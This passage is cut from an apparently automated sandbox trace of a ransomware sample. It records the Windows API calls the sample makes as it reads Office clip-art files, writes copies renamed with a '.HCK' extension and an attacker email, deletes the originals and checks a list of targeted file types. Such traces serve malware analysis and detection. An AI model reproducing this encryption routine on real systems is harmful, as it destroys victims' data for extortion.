lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.509] GetLastError () returned 0x0 [0178.509] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7c46, lpOverlapped=0x0) returned 1 [0178.511] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7c50, lpOverlapped=0x0) returned 1 [0178.512] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.512] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.512] SetEndOfFile (hFile=0x2fc) returned 1 [0178.513] CloseHandle (hObject=0x2fc) returned 1 [0178.514] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.514] SetEndOfFile (hFile=0x370) returned 1 [0178.516] CloseHandle (hObject=0x370) returned 1 [0178.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01064_.wmf")) returned 1 [0178.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.521] lstrlenW (lpString=".doc") returned 4 [0178.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".docx") returned 5 [0178.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.522] lstrlenW (lpString=".pdf") returned 4 [0178.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".xls") returned 4 [0178.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.522] lstrlenW (lpString=".xlsx") returned 5 [0178.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.522] lstrlenW (lpString=".ppt") returned 4 [0178.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.522] lstrlenW (lpString=".zip") returned 4 [0178.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.522] lstrlenW (lpString=".rar") returned 4 [0178.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".bz2") returned 4 [0178.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".7z") returned 3 [0178.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.522] lstrlenW (lpString=".dbf") returned 4 [0178.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.522] lstrlenW (lpString=".1cd") returned 4 [0178.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.522] lstrlenW (lpString=".jpg") returned 4 [0178.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.522] lstrlenW (lpString=".doc") returned 4 [0178.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".docx") returned 5 [0178.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.522] lstrlenW (lpString=".pdf") returned 4 [0178.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".xls") returned 4 [0178.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.522] lstrlenW (lpString=".xlsx") returned 5 [0178.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.522] lstrlenW (lpString=".ppt") returned 4 [0178.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.522] lstrlenW (lpString=".zip") returned 4 [0178.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.522] lstrlenW (lpString=".rar") returned 4 [0178.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".bz2") returned 4 [0178.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.522] lstrlenW (lpString=".7z") returned 3 [0178.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.523] lstrlenW (lpString=".dbf") returned 4 [0178.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.523] lstrlenW (lpString=".1cd") returned 4 [0178.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01064_.WMF") returned 68 [0178.523] lstrlenW (lpString=".jpg") returned 4 [0178.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.523] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.523] lstrlenW (lpString="NA01126_.WMF") returned 12 [0178.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.526] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2928) returned 1 [0178.526] CloseHandle (hObject=0x3a4) returned 1 [0178.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf")) returned 0x220 [0178.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.529] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.529] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.534] GetLastError () returned 0x0 [0178.534] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb70, lpOverlapped=0x0) returned 1 [0178.536] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb80, lpOverlapped=0x0) returned 1 [0178.536] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.536] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.536] SetEndOfFile (hFile=0x2fc) returned 1 [0178.537] CloseHandle (hObject=0x2fc) returned 1 [0178.538] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.538] SetEndOfFile (hFile=0x370) returned 1 [0178.539] CloseHandle (hObject=0x370) returned 1 [0178.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01126_.wmf")) returned 1 [0178.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.541] lstrlenW (lpString=".doc") returned 4 [0178.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.541] lstrlenW (lpString=".docx") returned 5 [0178.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.542] lstrlenW (lpString=".pdf") returned 4 [0178.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString=".xls") returned 4 [0178.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.542] lstrlenW (lpString=".xlsx") returned 5 [0178.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.542] lstrlenW (lpString=".ppt") returned 4 [0178.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString=".zip") returned 4 [0178.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.542] lstrlenW (lpString=".rar") returned 4 [0178.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString=".bz2") returned 4 [0178.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString=".7z") returned 3 [0178.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString=".dbf") returned 4 [0178.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString=".1cd") returned 4 [0178.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString=".jpg") returned 4 [0178.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString=".doc") returned 4 [0178.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString=".docx") returned 5 [0178.542] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.542] lstrlenW (lpString=".pdf") returned 4 [0178.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString=".xls") returned 4 [0178.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.542] lstrlenW (lpString=".xlsx") returned 5 [0178.542] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.542] lstrlenW (lpString=".ppt") returned 4 [0178.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString=".zip") returned 4 [0178.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.542] lstrlenW (lpString=".rar") returned 4 [0178.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString=".bz2") returned 4 [0178.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.542] lstrlenW (lpString=".7z") returned 3 [0178.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.542] lstrlenW (lpString=".dbf") returned 4 [0178.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.543] lstrlenW (lpString=".1cd") returned 4 [0178.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01126_.WMF") returned 68 [0178.543] lstrlenW (lpString=".jpg") returned 4 [0178.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.543] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.543] lstrlenW (lpString="NA01149_.WMF") returned 12 [0178.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.548] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=4680) returned 1 [0178.548] CloseHandle (hObject=0x368) returned 1 [0178.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf")) returned 0x220 [0178.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.553] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.553] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.561] GetLastError () returned 0x0 [0178.561] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1248, lpOverlapped=0x0) returned 1 [0178.562] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1250, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1250, lpOverlapped=0x0) returned 1 [0178.563] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.563] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.563] SetEndOfFile (hFile=0x300) returned 1 [0178.565] CloseHandle (hObject=0x300) returned 1 [0178.565] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.565] SetEndOfFile (hFile=0x2fc) returned 1 [0178.567] CloseHandle (hObject=0x2fc) returned 1 [0178.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01149_.wmf")) returned 1 [0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.568] lstrlenW (lpString=".doc") returned 4 [0178.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.568] lstrlenW (lpString=".docx") returned 5 [0178.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.568] lstrlenW (lpString=".pdf") returned 4 [0178.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.568] lstrlenW (lpString=".xls") returned 4 [0178.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.568] lstrlenW (lpString=".xlsx") returned 5 [0178.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.568] lstrlenW (lpString=".ppt") returned 4 [0178.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.568] lstrlenW (lpString=".zip") returned 4 [0178.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.568] lstrlenW (lpString=".rar") returned 4 [0178.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.568] lstrlenW (lpString=".bz2") returned 4 [0178.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.568] lstrlenW (lpString=".7z") returned 3 [0178.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.568] lstrlenW (lpString=".dbf") returned 4 [0178.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.568] lstrlenW (lpString=".1cd") returned 4 [0178.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.568] lstrlenW (lpString=".jpg") returned 4 [0178.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.569] lstrlenW (lpString=".doc") returned 4 [0178.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString=".docx") returned 5 [0178.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.569] lstrlenW (lpString=".pdf") returned 4 [0178.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString=".xls") returned 4 [0178.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.569] lstrlenW (lpString=".xlsx") returned 5 [0178.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.569] lstrlenW (lpString=".ppt") returned 4 [0178.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.569] lstrlenW (lpString=".zip") returned 4 [0178.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.569] lstrlenW (lpString=".rar") returned 4 [0178.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString=".bz2") returned 4 [0178.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString=".7z") returned 3 [0178.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.569] lstrlenW (lpString=".dbf") returned 4 [0178.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.569] lstrlenW (lpString=".1cd") returned 4 [0178.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01149_.WMF") returned 68 [0178.569] lstrlenW (lpString=".jpg") returned 4 [0178.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.569] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.569] lstrlenW (lpString="NA01158_.WMF") returned 12 [0178.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.575] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7284) returned 1 [0178.575] CloseHandle (hObject=0x3a4) returned 1 [0178.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf")) returned 0x220 [0178.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.580] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.580] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA01158_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na01158_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.586] GetLastError () returned 0x0 [0178.586] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1c74, lpOverlapped=0x0) returned 1 [0178.588] WriteFile (in: hFile=0x370, 